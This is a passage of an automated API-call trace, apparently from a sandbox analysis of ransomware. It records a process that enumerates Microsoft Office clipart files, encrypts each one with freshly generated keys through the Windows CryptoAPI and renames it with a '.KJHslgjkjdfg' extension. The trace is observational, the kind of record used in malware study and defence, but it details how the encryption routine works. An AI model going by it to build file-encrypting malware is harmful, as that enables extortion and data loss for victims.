HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.231] GetProcessHeap () returned 0x2a0000 [0181.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.kjhslgjkjdfg")) returned 1 [0181.232] CloseHandle (hObject=0x114) returned 1 [0181.233] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0181.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.234] GetProcessHeap () returned 0x2a0000 [0181.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.234] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.234] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0181.236] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.236] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.236] GetProcessHeap () returned 0x2a0000 [0181.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.236] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.236] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.236] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.236] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.236] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.237] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.237] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.237] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.237] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.237] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa4e, lpOverlapped=0x0) returned 1 [0181.237] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa50, dwBufLen=0xa50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa50) returned 1 [0181.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.237] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa50, lpOverlapped=0x0) returned 1 [0181.237] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.237] SetEndOfFile (hFile=0x114) returned 1 [0181.240] GetProcessHeap () returned 0x2a0000 [0181.240] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.240] GetProcessHeap () returned 0x2a0000 [0181.240] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.kjhslgjkjdfg")) returned 1 [0181.241] CloseHandle (hObject=0x114) returned 1 [0181.241] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0181.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.242] GetProcessHeap () returned 0x2a0000 [0181.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.242] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.242] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.244] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.244] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.244] GetProcessHeap () returned 0x2a0000 [0181.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.244] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.244] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.244] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.245] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.245] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.245] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.245] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.245] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.245] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x926, lpOverlapped=0x0) returned 1 [0181.245] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x930, dwBufLen=0x930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x930) returned 1 [0181.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.245] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x930, lpOverlapped=0x0) returned 1 [0181.246] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.246] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.246] SetEndOfFile (hFile=0x114) returned 1 [0181.248] GetProcessHeap () returned 0x2a0000 [0181.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.248] GetProcessHeap () returned 0x2a0000 [0181.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.kjhslgjkjdfg")) returned 1 [0181.250] CloseHandle (hObject=0x114) returned 1 [0181.250] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0181.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.252] GetProcessHeap () returned 0x2a0000 [0181.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.252] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.252] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0181.255] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.255] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.255] GetProcessHeap () returned 0x2a0000 [0181.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.255] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.255] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.255] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.255] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.255] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.256] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.256] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.256] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.256] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xab2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xab2, lpOverlapped=0x0) returned 1 [0181.256] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xac0, dwBufLen=0xac0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xac0) returned 1 [0181.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.256] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xac0, lpOverlapped=0x0) returned 1 [0181.256] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.256] SetEndOfFile (hFile=0x114) returned 1 [0181.259] GetProcessHeap () returned 0x2a0000 [0181.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.259] GetProcessHeap () returned 0x2a0000 [0181.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.kjhslgjkjdfg")) returned 1 [0181.261] CloseHandle (hObject=0x114) returned 1 [0181.262] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0181.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.263] GetProcessHeap () returned 0x2a0000 [0181.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.263] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.263] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0181.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.266] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.266] GetProcessHeap () returned 0x2a0000 [0181.266] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.266] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.266] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.266] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.266] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.266] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.266] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.266] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.266] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.266] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.267] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x82a, lpOverlapped=0x0) returned 1 [0181.267] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x830, dwBufLen=0x830 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x830) returned 1 [0181.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.267] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x830, lpOverlapped=0x0) returned 1 [0181.267] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.267] SetEndOfFile (hFile=0x114) returned 1 [0181.270] GetProcessHeap () returned 0x2a0000 [0181.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.270] GetProcessHeap () returned 0x2a0000 [0181.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.kjhslgjkjdfg")) returned 1 [0181.272] CloseHandle (hObject=0x114) returned 1 [0181.273] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0181.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 